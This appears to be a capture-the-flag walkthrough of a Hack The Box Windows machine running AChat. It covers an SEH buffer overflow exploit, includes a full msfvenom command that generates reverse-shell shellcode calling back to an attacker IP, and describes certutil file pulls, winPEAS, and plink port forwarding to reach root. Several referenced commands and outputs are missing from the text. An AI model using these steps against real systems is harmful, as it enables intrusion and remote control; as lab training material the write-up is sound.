Running an nmap scan shows which ports are open and available:
We see that there are ports running unknown services. Google research shows that these are associated with AChat.
A quick dive into that Google search will lead us into the next phase of the box.
Doing some research shows us that AChat can be vulnerable to an SEH buffer overflow and there are existing open-source exploits for it. The one I used for this walkthrough can be found here.
Make sure you generate your own shellcode and modify the sample msfvenom command provided. The one I used looked like this:
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.16.22 LPORT=4448 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
I ran the command and copied the shell code into the provided python exploit code. Additionally, make sure you change the socket address below the shellcode to the target host address.
From here, I set up a netcat listener on port 4448 to "catch" the call out for when the exploit was sent.
With everything configured, I launched the exploit using python and got a shell. This gets you access to the user.txt flag.
Additional Enumeration/Search for PrivEsc
I had winPEAS.bat ready on my attack box and started a python http server to make it accessible. From there, I went back over to the shell I had on the target box and used certutil to pull winPEAS over into Alfred's Desktop directory.
I ran WinPEAS to see if I could identify any escalation paths. Nothing stood out glaringly for those purposes, but we did get some credentials.
If we take a closer look at what ports the system is listening on, we may be able to find something we can leverage to escalate our privileges. We see there are several ports that are listening within a local system scope and also within a local network scope.
If we can port forward, we may be able to circumvent the restrictions placed by the firewall and access the resources we couldn't previously. We're going to attempt this with SMB.
First, we pull over something called plink.exe, which is part of PuTTY. Again using certutil, we transfer it over to Alfred's desktop. Before we do anything with it, we need to configure some things on the attack box to make sure that the HTB traffic can reach it (if you're using OpenVPN).
Go into /etc/ssh/ssh_config and modify the port it's running on. I changed it to 2022. Additionally, change PermitRootLogin to "yes" and uncomment it. It may prompt you at this point to set a root password if you have not already.
From here, we are set to run plink:
It was a bit buggy for me on the first attempt of this, but you should see something to the effect of this when it's successful:
From here, return to your attack box and use psexec.py to connect to the port:
From here, you may run into an interesting issue when reading the root flag:
The following worked for me to get access: